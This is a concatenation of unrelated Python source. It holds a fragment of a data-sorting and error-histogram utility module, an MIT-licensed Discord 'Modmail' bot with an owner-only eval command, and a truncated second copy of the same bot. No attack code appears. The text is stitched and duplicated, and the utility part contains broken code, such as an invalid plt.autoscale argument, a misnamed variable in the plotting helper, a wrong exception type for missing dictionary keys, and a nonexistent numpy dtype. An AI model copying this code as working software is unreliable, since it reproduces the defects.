dtype='bool') inputCheckRange(value=SortCol, name='SortCol', maxValue=database.shape[1], minValue=0, fastCheck=True) inputFullCheck(value=SortKey, name='SortKey', dtype='Callable') inputFullCheck(value=SortReverse, name='SortReverse', dtype='bool') if IndexSorting: database: ndarray = ArraySorting(database=database, column=IndexCol, reverse=IndexReverse) DataStructure = GetIndexOnArrangedData(database=database, column=IndexCol, get_last=True) for i in range(0, len(DataStructure) - 1): begin, end = DataStructure[i][0], DataStructure[i + 1][0] if end - begin != 1: temp: List = database[begin:end, :].tolist() temp.sort(key=lambda item: SortKey(item[SortCol]), reverse=SortReverse) database[begin:end, :] = temp if ExtraSortCol is not None: database[begin:end, :] = \ SortWithIdx(database=database[begin:end, :], IndexCol=SortCol, SortCol=ExtraSortCol, ExtraSortCol=None, IndexSorting=False, IndexReverse=False, SortKey=ExtraSortKey, SortReverse=ExtraSortReverse) return database def SortWithIdxByFile(FilePath: str, Output: str = None, IndexCol: int = 0, SortingCol: int = 3, ExtraSortingCol: Optional[int] = None, IndexSorting: bool = False, SortingKey: Callable = int, ExtraSortingKey: Callable = float, reverse: bool = False, SortingReverse: bool = False, ExtraReverse: bool = False, FileExport: bool = True) -> pd.DataFrame: """ Implementation of sorting two specified column with defined order. :param FilePath: The directory of the file :type FilePath: str :param Output: The directory of the output. If None, it will overlapped on the original file :type Output: str :param IndexCol: Integer used to mark the index for benchmarking, especially for molecule :type IndexCol: int :param SortingCol: Integer used to sorting some specific values in order in specific range, especially for bond index :type SortingCol: int :param IndexSorting: If True, the index column in the dataset would be sorted :type IndexSorting: bool :param SortingKey: The method used for validation and comparison (default to be int()). :type SortingKey: Callable :param reverse: If True, the sorting order in the IndexCol would be descending instead of ascending :type reverse: bool :param SortingReverse: If True, the sorting order in the SortingCol would be descending instead of ascending :type SortingReverse: bool :param FileExport: Whether to allow export to file :type FileExport: bool :param ExtraSortingCol: Integer used to sorting extra 'column' requirement specific values in order in specific range, especially for BDE :type ExtraSortingCol: int :param ExtraSortingKey: The method used for validation and comparison (default to be float()), used for 'extra'. :type ExtraSortingKey: Callable :param ExtraSortingKey: The method used for validation and comparison (default to be int()), used for 'extra'. :type ExtraSortingKey: Callable :param ExtraReverse: If True, the sorting order in the ExtraSortingCol would be descending instead of ascending :type ExtraReverse: bool :return: ndarray """ value, columns = ReadFile(FilePath=FilePath, header=0, get_values=True, get_columns=True) value = SortWithIdx(database=value, IndexCol=IndexCol, SortCol=SortingCol, ExtraSortCol=ExtraSortingCol, IndexSorting=IndexSorting, IndexReverse=reverse, SortKey=SortingKey, SortReverse=SortingReverse, ExtraSortKey=ExtraSortingKey, ExtraSortReverse=ExtraReverse) DataFrame = pd.DataFrame(data=value, index=None, columns=columns) _Export_(dataFrame=DataFrame, overlap_directory=FilePath, new_directory=Output, status=FileExport) return DataFrame def GetRemainingIndexToLimit(indexArray: Union[ndarray, List[int], Tuple[int]], maximumValue: int) -> List[int]: if True: if inputFastCheck(value=indexArray, dtype='ndarray'): if indexArray.ndim != 1: raise TypeError("indexArray should be 1-dimensional array") if checkNumpyIntegerDtype(indexArray.dtype): infiniteCheck = checkNumpyUnsignedIntegerDtype(indexArray.dtype) else: raise TypeError("indexArray should be 1-dimensional array of positive integer value") else: infiniteCheck = True if len(set(indexArray)) != len(indexArray): raise TypeError("indexArray should not contained duplicated value") if isinstance(maximumValue, (int, np.integer)): if maximumValue <= 0: raise TypeError(f"maximumValue={maximumValue} should be positive integer") if maximumValue < indexArray[-1]: warning(f" There are something that is not right. In normal cases, maximumValue={maximumValue} " f"should be the largest value of all") else: raise TypeError(f"maximumValue={maximumValue} should be positive integer") array: List[int] = [] n: int = len(indexArray) counter: int = 0 indexArray.sort() isChecked: bool = False for idx in range(0, maximumValue): if counter >= n: array.append(idx) continue if infiniteCheck: if not isChecked: if isinstance(indexArray[counter], (int, np.integer)): if indexArray[counter] < 0: raise TypeError(f"indexArray[counter]={indexArray[counter]} should be positive integer.") isChecked = True if idx == indexArray[counter]: counter += 1 isChecked = False else: array.append(idx) return array @MeasureExecutionTime def ArrangeDatabase(database: ndarray, BaseColumn: int, ExtensionColumn: Optional[int] = None, ExtensionMode: str = 'sort', *args, **kwargs) -> ndarray: """ Implementation of arranging the database from top to bottom :param database: The dataset needs to be sorted :type database: ndarray :param BaseColumn: The first column index (positive) to arranging :type BaseColumn: int :param ExtensionColumn: The column index (positive) to arranging :type ExtensionColumn: int :param ExtensionMode: Either 'arrange' or 'sort' is acceptable :type ExtensionMode: int :return: ndarray """ # Hyper-parameter Verification if True: if not inputFastCheck(value=database, dtype='ndarray'): database = np.asarray(database) inputCheckRange(value=BaseColumn, name='BaseColumn', maxValue=database.shape[1], minValue=0) inputCheckRange(value=ExtensionColumn, name='ExtensionColumn', maxValue=database.shape[1], minValue=0, allowNoneInput=True) inputFullCheck(value=ExtensionMode, name='ExtensionMode', dtype='str') if ExtensionMode not in ['sort', 'arrange']: raise ValueError("Unable to perform further implementation") # [1]: Retrieve the structure of the data hashtable: Dict[str, List[int]] = {} BaseStructure = GetIndexOnArrangedData(database=database, column=BaseColumn, get_last=False) for row, value in BaseStructure: try: hashtable[row].append(value) except (IndexError, ValueError): hashtable[row] = [value] # [2]: If found duplicate value, we search and rearranged by the following structure if len(hashtable) != len(BaseStructure): size: int = database.shape[1] rowLine: List[int] = [0] * size maskLine: List[bool] = [False] * len(BaseStructure) counter: int = 0 for row, value in BaseStructure: if maskLine[row]: # If it has been found previously, skip it continue combinationList: List[int] = hashtable[value] for combination in combinationList: maskLine[combination] = True for line in range(combination, size): if database[line] != value: break rowLine[counter] = line counter += 1 database: ndarray = database[rowLine, :] if ExtensionColumn is None: return database if ExtensionMode == 'sort': return SortWithIdx(database=database, IndexCol=BaseColumn, SortCol=ExtensionColumn, *args, **kwargs) hashtable.clear() BaseStructure.clear() gc.collect() # [3]: If we provide the extension_column BaseStructure = GetIndexOnArrangedData(database=database, column=BaseColumn, get_last=True) for i in range(0, len(BaseStructure) - 1): START, END = BaseStructure[i][0], BaseStructure[i + 1][0] database[START:END, :] = ArrangeDatabase(database=database[START:END, :], BaseColumn=ExtensionColumn, ExtensionColumn=None) return database def ArrangeDatabaseByFile(FilePath: str, Output: str = None, BaseColumn: int = 0, ExtensionColumn: Optional[int] = None, ExtensionMode: str = 'sort', FileExport: bool = True, *args, **kwargs) -> pd.DataFrame: value, columns = ReadFile(FilePath=FilePath, header=0, get_values=True, get_columns=True) value = ArrangeDatabase(value, BaseColumn, ExtensionColumn, ExtensionMode, *args, **kwargs) DataFrame = pd.DataFrame(data=value, index=None, columns=columns) _Export_(dataFrame=DataFrame, overlap_directory=FilePath, new_directory=Output, status=FileExport) return DataFrame def EvaluateInputPosition(maxSize: int, **kwargs) -> None: inputCheckRange(value=maxSize, name='maxSize', minValue=0, maxValue=None, allowNoneInput=True) stack: List[Optional[Union[int, Tuple[int, int]]]] = [] for key, value in kwargs.items(): inputFullCheck(value=value, name=key, dtype='int-List-Tuple-None', delimiter='-') if isinstance(value, int): inputCheckRange(value=value, name=key, minValue=0, maxValue=maxSize, allowNoneInput=False, rightBound=False, leftBound=True) stack.append(value) elif value is None: stack.append(value) elif isinstance(value, (List, Tuple)): inputCheckIterableInRange(value=value, name=key, minValue=0, maxValue=maxSize, maxInputInside=2, allowNoneInput=False, rightBound=False, leftBound=True) stack.append(value[0]) stack.append(value[1]) if len(set(stack)) != len(stack): raise ValueError("Your input cannot contain duplicate") return None def ComputeErrorHistogram(data: pd.DataFrame, error_column: Union[str, int], index_column: Union[str, int] = None, interval: float = 0.25, maximum_benchmark: float = 5.0, x_axis: str = "Error (kcal/mol)", y_axis: str = "Counting", title: str = "Error Histogram") -> None: """ Implementation of error histogram :param data: The computed dataset which has stored error (pd.DataFrame). :type data: pd.DataFrame :param error_column: The value of the error column in the DataFrame. :type error_column: str or int :param index_column: The value of the index column in the DataFrame (usually bond type) (default to be None). If None, all bond type is not in difference consideration :type index_column: str or int :param interval: The difference between each column of error analysis (positive input) :type interval: float or int :param maximum_benchmark: The benchmark where exceeding this, all of the value over them will be analyzed here. :type maximum_benchmark: float or int :param x_axis: The name of the x-axis :type x_axis: str :param y_axis: The name of the y-axis :type y_axis: str :param title: The name of the title :type title: str :return: None """ # Hyper-parameter Verification def inputCheckColumn(column: Union[str, int], name: str, df: pd.DataFrame) -> str: inputFullCheck(value=column, name=name, dtype='str-int', delimiter='-') if inputFastCheck(value=column, dtype='int'): inputCheckRange(value=column, name=name, maxValue=df.values.shape[1], minValue=0, fastCheck=True) return df.columns[column] elif inputFastCheck(value=column, dtype='str'): if column not in list(df.columns): raise ValueError(f"error_column must be was not inside the DataFrame ({column})") return column if True: inputFullCheck(value=data, name='data', dtype='DataFrame') inputCheckColumn(column=error_column, name='error_column', df=data) if index_column is not None: inputCheckColumn(column=index_column, name='index_column', df=data) inputFullCheck(value=error_column, name='error_column', dtype='str-int', delimiter='-') if x_axis is None: x_axis = "Error (kcal/mol)" else: inputFullCheck(value=x_axis, name='x_axis', dtype='str') if y_axis is None: y_axis = "Counting" else: inputFullCheck(value=y_axis, name='y_axis', dtype='str') if title is None: title = "Error Histogram" else: inputFullCheck(value=title, name='title', dtype='str') inputFullCheck(value=interval, name='interval', dtype='int-float', delimiter='-') if interval <= 0: warning(" Your interval is negative. Change to default (0.25)") interval = 0.25 inputFullCheck(value=maximum_benchmark, name='maximum_benchmark', dtype='int-float', delimiter='-') if maximum_benchmark <= 0: warning(" Your maximum_benchmark is negative. Change to default (5)") maximum_benchmark = 5 if maximum_benchmark < interval: raise ValueError(" Maximum benchmark must exceed the interval") pass import matplotlib.pyplot as plt def call(DataFrame, objectType: Optional[str], bound: List[float]): plt.clf() plt.autoscale(DataFrame=False) plt.hist(DataFrame, bins=bound, alpha=0.75, color='red', rwidth=0.85) plt.xlabel(str(x_axis)) plt.ylabel(str(y_axis)) plt.title(str(title) if object_type is None else str(title) + f"({objectType})") plt.xlim(0, bound[- 1]) plt.show() edge = [interval * index for index in range(0, int((maximum_benchmark + interval) // interval))] + \ [maximum_benchmark + interval] if index_column is None: dataframe = data[error_column].values dataframe[dataframe > maximum_benchmark] = maximum_benchmark + interval / 2 call(DataFrame=dataframe, objectType=None, bound=edge) else: modified_data = data[[index_column, error_column]].values modified_data = ArraySorting(database=modified_data, column=0, reverse=False) index_array = GetIndexOnArrangedData(database=modified_data, column=0, get_last=True) for i in range(0, len(index_array) - 1): copy = modified_data[index_array[i]:index_array[i + 1], 1] copy[copy > maximum_benchmark] = maximum_benchmark + interval / 2 object_type = index_array[i][1] call(DataFrame=copy, objectType=object_type, bound=edge) return None # ------------------------------------------------------------------------------------------------------------------- # [6]: Function used for further extension: Checking data type def OptimizeIntegerDatatypeByShape(shape: Union[Tuple, List]) -> np.dtype: minimum, maximum = min(shape), max(shape) if not inputFastCheck(minimum, dtype='int') or not inputFastCheck(maximum, dtype='int'): raise TypeError(f"Float value has been found. Please check your object_shape ({shape})") if minimum >= 0: np_dtype = (np.uint8, np.uint16, np.uint32, np.uint64) else: np_dtype = (np.int8, np.int16, np.int32, np.int64) highest_point = max(abs(minimum), abs(maximum)) for search_dtype in np_dtype: if highest_point <= np.iinfo(search_dtype).max: return np.dtype(search_dtype) return np.dtype(np_dtype[-2]) @MeasureExecutionTime def convertNumpyDenseToScipySparse(data: Union[ndarray, coo_matrix, spmatrix], tuned_up: bool = True, sparse_format: str = "coo") -> spmatrix: if inputFastCheck(data, dtype='coo_matrix-spmatrix', delimiter='-'): return data if not inputFastCheck(data, dtype='ndarray'): warning(f" The current input data was not np.ndarray (!= {type(data)})") data: ndarray = np.array(data, dtype=np.uint8) inputFullCheck(value=tuned_up, name='tuned_up', dtype='bool') if sparse_format not in ("coo", "csr", "csc"): raise TypeError("sparse_format should be in coo, csc, csr format") func = coo_matrix if sparse_format == "csr": func = csr_matrix elif sparse_format == "csc": func = csc_matrix sparseMatrix: spmatrix = func(data, shape=data.shape, dtype=data.dtype) if not tuned_up: return sparseMatrix if inputFastCheck(sparseMatrix, dtype='coo_matrix'): sparseMatrix.col = sparseMatrix.col.astype(OptimizeIntegerDatatypeByShape([sparseMatrix.shape[1]])) sparseMatrix.row = sparseMatrix.row.astype(OptimizeIntegerDatatypeByShape([sparseMatrix.shape[0]])) else: sparseMatrix.indices = sparseMatrix.indices.astype(OptimizeIntegerDatatypeByShape([sparseMatrix.indices.shape])) sparseMatrix.indptr = sparseMatrix.indptr.astype(OptimizeIntegerDatatypeByShape([sparseMatrix.indptr.shape])) return sparseMatrix def checkNumpyUnsignedIntegerDtype(dtype) -> bool: integer = [np.unsignedinteger, np.uint8, np.uint16, np.uint32, np.uint64, np.ulonglong] for dt in integer: if dtype == dt: return True return False def checkNumpySignedIntegerDtype(dtype) -> bool: integer = [np.signedinteger, np.int8, np.int16, np.int32, np.int64, np.longlong] for dt in integer: if dtype == dt: return True return False def checkNumpyIntegerDtype(dtype) -> bool: if checkNumpyUnsignedIntegerDtype(dtype): return True return checkNumpySignedIntegerDtype(dtype) def checkNumpyFloatingDtype(dtype) -> bool: floating = [np.float16, np.float32, np.float64, np.float96, np.float128, np.float_] for dt in floating: if dtype == dt: return True return False def checkNumericNumpyDtype(dtype) -> bool: if checkNumpyIntegerDtype(dtype): return True return checkNumpyFloatingDtype(dtype) def checkNumpyDtype(dtype) -> bool: arr = (np.integer, np.floating, np.inexact, np.complexfloating, np.bool_, np.timedelta64, np.object_, np.flexible, np.bytes_) return isinstance(dtype, arr) def optimizePandasDatatype(df: pd.DataFrame) -> NotImplementedError: raise NotImplementedError def checkIsPrimitiveType(value) -> bool: return isinstance(value, (str, int, float, bool)) or value is None
''' MIT License Copyright (c) 2017 Kyb3r Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' GUILD_ID = 0 # your guild id here import discord from discord.ext import commands from urllib.parse import urlparse import asyncio import textwrap import datetime import time import json import sys import os import re import string import traceback import io import inspect from contextlib import redirect_stdout class Modmail(commands.Bot): def __init__(self): super().__init__(command_prefix=self.get_pre) self.uptime = datetime.datetime.utcnow() self._add_commands() def _add_commands(self): '''Adds commands automatically''' for attr in dir(self): cmd = getattr(self, attr) if isinstance(cmd, commands.Command): self.add_command(cmd) @property def token(self): '''Returns your token wherever it is''' try: with open('config.json') as f: config = json.load(f) if config.get('TOKEN') == "your_token_here": if not os.environ.get('TOKEN'): self.run_wizard() else: token = config.get('TOKEN').strip('\"') except FileNotFoundError: token = None return os.environ.get('TOKEN') or token @staticmethod async def get_pre(bot, message): '''Returns the prefix.''' with open('config.json') as f: prefix = json.load(f).get('PREFIX') return os.environ.get('PREFIX') or prefix or 'm.' @staticmethod def run_wizard(): '''Wizard for first start''' print('------------------------------------------') token = input('Enter your token:\n> ') print('------------------------------------------') data = { "TOKEN" : token, } with open('config.json','w') as f: f.write(json.dumps(data, indent=4)) print('------------------------------------------') print('Restarting...') print('------------------------------------------') os.execv(sys.executable, ['python'] + sys.argv) @classmethod def init(cls, token=None): '''Starts the actual bot''' bot = cls() if token: to_use = token.strip('"') else: to_use = bot.token.strip('"') try: bot.run(to_use, activity=discord.Game(os.getenv('STATUS')), reconnect=True) except Exception as e: raise e async def on_connect(self): print('---------------') print('Modmail connected!') status = os.getenv('STATUS') if status: print(f'Setting Status to {status}') else: print('No status set.') @property def guild_id(self): from_heroku = os.environ.get('GUILD_ID') return int(from_heroku) if from_heroku else GUILD_ID async def on_ready(self): '''Bot startup, sets uptime.''' self.guild = discord.utils.get(self.guilds, id=self.guild_id) print(textwrap.dedent(f''' --------------- Client is ready! --------------- Author: Kyb3r#7220 --------------- Logged in as: {self.user} User ID: {self.user.id} --------------- ''')) def overwrites(self, ctx, modrole=None): '''Permision overwrites for the guild.''' overwrites = { ctx.guild.default_role: discord.PermissionOverwrite(read_messages=False) } if modrole: overwrites[modrole] = discord.PermissionOverwrite(read_messages=True) else: for role in self.guess_modroles(ctx): overwrites[role] = discord.PermissionOverwrite(read_messages=True) return overwrites def help_embed(self, prefix): em = discord.Embed(color=0x00FFFF) em.set_author(name='Mod Mail - Help', icon_url=self.user.avatar_url) em.description = 'This bot is a python implementation of a stateless "Mod Mail" bot. ' \ 'Made by Kyb3r and improved by the suggestions of others. This bot ' \ 'saves no data and utilises channel topics for storage and syncing.' cmds = f'`{prefix}setup [modrole] <- (optional)` - Command that sets up the bot.\n' \ f'`{prefix}reply <message...>` - Sends a message to the current thread\'s recipient.\n' \ f'`{prefix}close` - Closes the current thread and deletes the channel.\n' \ f'`{prefix}disable` - Closes all threads and disables modmail for the server.\n' \ f'`{prefix}customstatus` - Sets the Bot status to whatever you want.' \ f'`{prefix}block` - Blocks a user from using modmail!' \ f'`{prefix}unblock` - Unblocks a user from using modmail!' warn = 'Do not manually delete the category or channels as it will break the system. ' \ 'Modifying the channel topic will also break the system.' em.add_field(name='Commands', value=cmds) em.add_field(name='Warning', value=warn) em.add_field(name='Github', value='https://github.com/verixx/modmail') em.set_footer(text='Star the repository to unlock hidden features!') return em @commands.command() @commands.has_permissions(administrator=True) async def setup(self, ctx, *, modrole: discord.Role=None): '''Sets up a server for modmail''' if discord.utils.get(ctx.guild.categories, name='Mod Mail'): return await ctx.send('This server is already set up.') categ = await ctx.guild.create_category( name='Mod Mail', overwrites=self.overwrites(ctx, modrole=modrole) ) await categ.edit(position=0) c = await ctx.guild.create_text_channel(name='bot-info', category=categ) await c.edit(topic='Manually add user id\'s to block users.\n\n' 'Blocked\n-------\n\n') await c.send(embed=self.help_embed(ctx.prefix)) await ctx.send('Successfully set up server.') @commands.command() @commands.has_permissions(administrator=True) async def disable(self, ctx): '''Close all threads and disable modmail.''' categ = discord.utils.get(ctx.guild.categories, name='Mod Mail') if not categ: return await ctx.send('This server is not set up.') for category, channels in ctx.guild.by_category(): if category == categ: for chan in channels: if 'User ID:' in str(chan.topic): user_id = int(chan.topic.split(': ')[1]) user = self.get_user(user_id) await user.send(f'**{ctx.author}** has closed this modmail session.') await chan.delete() await categ.delete() await ctx.send('Disabled modmail.') @commands.command(name='close') @commands.has_permissions(manage_channels=True) async def _close(self, ctx): '''Close the current thread.''' if 'User ID:' not in str(ctx.channel.topic): return await ctx.send('This is not a modmail thread.') user_id = int(ctx.channel.topic.split(': ')[1]) user = self.get_user(user_id) em = discord.Embed(title='Thread Closed') em.description = f'**{ctx.author}** has closed this modmail session.' em.color = discord.Color.red() try: await user.send(embed=em) except: pass await ctx.channel.delete() @commands.command() async def ping(self, ctx): """Pong! Returns your websocket latency.""" em = discord.Embed() em.title ='Pong! Websocket Latency:' em.description = f'{self.ws.latency * 1000:.4f} ms' em.color = 0x00FF00 await ctx.send(embed=em) def guess_modroles(self, ctx): '''Finds roles if it has the manage_guild perm''' for role in ctx.guild.roles: if role.permissions.manage_guild: yield role def format_info(self, message): '''Get information about a member of a server supports users from the guild or not.''' user = message.author server = self.guild member = self.guild.get_member(user.id) avi = user.avatar_url time = datetime.datetime.utcnow() desc = 'Modmail thread started.' color = 0 if member: roles = sorted(member.roles, key=lambda c: c.position) rolenames = ', '.join([r.name for r in roles if r.name != "@everyone"]) or 'None' member_number = sorted(server.members, key=lambda m: m.joined_at).index(member) + 1 for role in roles: if str(role.color) != "#000000": color = role.color em = discord.Embed(colour=color, description=desc, timestamp=time) em.add_field(name='Account Created', value=str((time - user.created_at).days)+' days ago.') em.set_footer(text='User ID: '+str(user.id)) em.set_thumbnail(url=avi) em.set_author(name=user, icon_url=server.icon_url) if member: em.add_field(name='Joined', value=str((time - member.joined_at).days)+' days ago.') em.add_field(name='Member No.',value=str(member_number),inline = True) em.add_field(name='Nick', value=member.nick, inline=True) em.add_field(name='Roles', value=rolenames, inline=True) em.add_field(name='Message', value=message.content, inline=False) return em async def send_mail(self, message, channel, mod): author = message.author fmt = discord.Embed() fmt.description = message.content fmt.timestamp = message.created_at urls = re.findall(r'(https?://[^\s]+)', message.content) types = ['.png', '.jpg', '.gif', '.jpeg', '.webp'] for u in urls: if any(urlparse(u).path.endswith(x) for x in types): fmt.set_image(url=u) break if mod: fmt.color=discord.Color.green() fmt.set_author(name=str(author), icon_url=author.avatar_url) fmt.set_footer(text='Moderator') else: fmt.color=discord.Color.gold() fmt.set_author(name=str(author), icon_url=author.avatar_url) fmt.set_footer(text='User') embed = None if message.attachments: fmt.set_image(url=message.attachments[0].url) await channel.send(embed=fmt) async def process_reply(self, message): try: await message.delete() except discord.errors.NotFound: pass await self.send_mail(message, message.channel, mod=True) user_id = int(message.channel.topic.split(': ')[1]) user = self.get_user(user_id) await self.send_mail(message, user, mod=True) def format_name(self, author): name = author.name new_name = '' for letter in name: if letter in string.ascii_letters + string.digits: new_name += letter if not new_name: new_name = 'null' new_name += f'-{author.discriminator}' return new_name @property def blocked_em(self): em = discord.Embed(title='Message not sent!', color=discord.Color.red()) em.description = 'You have been blocked from using modmail.' return em async def process_modmail(self, message): '''Processes messages sent to the bot.''' try: await message.add_reaction('✅') except: pass guild = self.guild author = message.author topic = f'User ID: {author.id}' channel = discord.utils.get(guild.text_channels, topic=topic) categ = discord.utils.get(guild.categories, name='Mod Mail') top_chan = categ.channels[0] #bot-info blocked = top_chan.topic.split('Blocked\n-------')[1].strip().split('\n') blocked = [x.strip() for x in blocked] if str(message.author.id) in blocked: return await message.author.send(embed=self.blocked_em) em = discord.Embed(title='Thanks for the message!') em.description = 'The moderation team will get back to you as soon as possible!' em.color = discord.Color.green() if channel is not None: await self.send_mail(message, channel, mod=False) else: await message.author.send(embed=em) channel = await guild.create_text_channel( name=self.format_name(author), category=categ ) await channel.edit(topic=topic) await channel.send('@here', embed=self.format_info(message)) async def on_message(self, message): if message.author.bot: return await self.process_commands(message) if isinstance(message.channel, discord.DMChannel): await self.process_modmail(message) @commands.command() async def reply(self, ctx, *, msg): '''Reply to users using this command.''' categ = discord.utils.get(ctx.guild.categories, id=ctx.channel.category_id) if categ is not None: if categ.name == 'Mod Mail': if 'User ID:' in ctx.channel.topic: ctx.message.content = msg await self.process_reply(ctx.message) @commands.command(name="customstatus", aliases=['status', 'presence']) @commands.has_permissions(administrator=True) async def _status(self, ctx, *, message): '''Set a custom playing status for the bot.''' if message == 'clear': return await self.change_presence(activity=None) await self.change_presence(activity=discord.Game(message)) await ctx.send(f"Changed status to **{message}**") @commands.command() @commands.has_permissions(manage_channels=True) async def block(self, ctx, id=None): '''Block a user from using modmail.''' if id is None: if 'User ID:' in str(ctx.channel.topic): id = ctx.channel.topic.split('User ID: ')[1].strip() else: return await ctx.send('No User ID provided.') categ = discord.utils.get(ctx.guild.categories, name='Mod Mail') top_chan = categ.channels[0] #bot-info topic = str(top_chan.topic) topic += id + '\n' if id not in top_chan.topic: await top_chan.edit(topic=topic) await ctx.send('User successfully blocked!') else: await ctx.send('User is already blocked.') @commands.command() @commands.has_permissions(manage_channels=True) async def unblock(self, ctx, id=None): '''Unblocks a user from using modmail.''' if id is None: if 'User ID:' in str(ctx.channel.topic): id = ctx.channel.topic.split('User ID: ')[1].strip() else: return await ctx.send('No User ID provided.') categ = discord.utils.get(ctx.guild.categories, name='Mod Mail') top_chan = categ.channels[0] #bot-info topic = str(top_chan.topic) topic = topic.replace(id+'\n', '') if id in top_chan.topic: await top_chan.edit(topic=topic) await ctx.send('User successfully unblocked!') else: await ctx.send('User is not already blocked.') @commands.command(hidden=True, name='eval') async def _eval(self, ctx, *, body: str): """Evaluates python code""" allowed = [int(x) for x in os.getenv('OWNERS', '').split(',')] if ctx.author.id not in allowed: return env = { 'bot': self, 'ctx': ctx, 'channel': ctx.channel, 'author': ctx.author, 'guild': ctx.guild, 'message': ctx.message, 'source': inspect.getsource } env.update(globals()) body = self.cleanup_code(body) stdout = io.StringIO() err = out = None to_compile = f'async def func():\n{textwrap.indent(body, ' ')}' try: exec(to_compile, env) except Exception as e: err = await ctx.send(f'```py\n{e.__class__.__name__}: {e}\n```') return await err.add_reaction('\u2049') func = env['func'] try: with redirect_stdout(stdout): ret = await func() except Exception as e: value = stdout.getvalue() err = await ctx.send(f'```py\n{value}{traceback.format_exc()}\n```') else: value = stdout.getvalue() if ret is None: if value: try: out = await ctx.send(f'```py\n{value}\n```') except: await ctx.send('```Result is too long to send.```') else: self._last_result = ret try: out = await ctx.send(f'```py\n{value}{ret}\n```') except: await ctx.send('```Result is too long to send.```') if out: await ctx.message.add_reaction('\u2705') #tick if err: await ctx.message.add_reaction('\u2049') #x else: await ctx.message.add_reaction('\u2705') def cleanup_code(self, content): """Automatically removes code blocks from the code.""" # remove ```py\n``` if content.startswith('```') and content.endswith('```'): return '\n'.join(content.split('\n')[1:-1]) # remove `foo` return content.strip('` \n') if __name__ == '__main__': Modmail.init()
''' MIT License Copyright (c) 2017 Kyb3r Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' GUILD_ID = 0 # your guild id here import discord from discord.ext import commands from urllib.parse import urlparse import asyncio import textwrap import datetime import time import json import sys import os import re import string import traceback import io import inspect from contextlib import redirect_stdout class Modmail(commands.Bot): def __init__(self): super().__init__(command_prefix=self.get_pre) self.uptime = datetime.datetime.utcnow() self._add_commands() def _add_commands(self): '''Adds commands automatically''' for attr in dir(self): cmd = getattr(self, attr) if isinstance(cmd, commands.Command): self.add_command(cmd) @property def token(self): '''Returns your token wherever it is''' try: with open('config.json') as f: config = json.load(f) if config.get('TOKEN') == "your_token_here": if not os.environ.get('TOKEN'): self.run_wizard() else: token = config.get('TOKEN').strip('\"') except FileNotFoundError: token = None return os.environ.get('TOKEN') or token @staticmethod async def get_pre(bot, message): '''Returns the prefix.''' with open('config.json') as f: prefix = json.load(f).get('PREFIX') return os.environ.get('PREFIX') or prefix or 'm.' @staticmethod def run_wizard(): '''Wizard for first start''' print('------------------------------------------') token = input('Enter your token:\n> ') print('------------------------------------------') data = { "TOKEN" : token, } with open('config.json','w') as f: f.write(json.dumps(data, indent=4)) print('------------------------------------------') print('Restarting...') print('------------------------------------------') os.execv(sys.executable, ['python'] + sys.argv) @classmethod def init(cls, token=None): '''Starts the actual bot''' bot = cls() if token: to_use = token.strip('"') else: to_use = bot.token.strip('"') try: bot.run(to_use, activity=discord.Game(os.getenv('STATUS')), reconnect=True) except Exception as e: raise e async def on_connect(self): print('---------------') print('Modmail connected!') status = os.getenv('STATUS') if status: print(f'Setting Status to {status}') else: print('No status set.') @property def guild_id(self): from_heroku = os.environ.get('GUILD_ID') return int(from_heroku) if from_heroku else GUILD_ID async def on_ready(self): '''Bot startup, sets uptime.''' self.guild = discord.utils.get(self.guilds, id=self.guild_id) print(textwrap.dedent(f''' --------------- Client is ready! --------------- Author: Kyb3r#7220 --------------- Logged in as: {self.user} User ID: {self.user.id} --------------- ''')) def overwrites(self, ctx, modrole=None): '''Permision overwrites for the guild.''' overwrites = { ctx.guild.default_role: discord.PermissionOverwrite(read_messages=False) } if modrole: overwrites[modrole] = discord.PermissionOverwrite(read_messages=True) else: for role in self.guess_modroles(ctx): overwrites[role] = discord.PermissionOverwrite(read_messages=True) return overwrites def help_embed(self, prefix): em = discord.Embed(color=0x00FFFF) em.set_author(name='Mod Mail - Help', icon_url=self.user.avatar_url) em.description = 'This bot is a python implementation of a stateless "Mod Mail" bot. ' \ 'Made by Kyb3r and improved by the suggestions of others. This bot ' \ 'saves no data and utilises channel topics for storage and syncing.' cmds = f'`{prefix}setup [modrole] <- (optional)` - Command that sets up the bot.\n' \ f'`{prefix}reply <message...>` - Sends a message to the current thread\'s recipient.\n' \ f'`{prefix}close` - Closes the current thread and deletes the channel.\n' \ f'`{prefix}disable` - Closes all threads and disables modmail for the server.\n' \ f'`{prefix}customstatus` - Sets the Bot status to whatever you want.' \ f'`{prefix}block` - Blocks a user from using modmail!' \ f'`{prefix}unblock` - Unblocks a user from using modmail!' warn = 'Do not manually delete the category or channels as it will break the system. ' \ 'Modifying the channel topic will also break the system.' em.add_field(name='Commands', value=cmds) em.add_field(name='Warning', value=warn) em.add_field(name='Github', value='https://github.com/verixx/modmail') em.set_footer(text='Star the repository to unlock hidden features!') 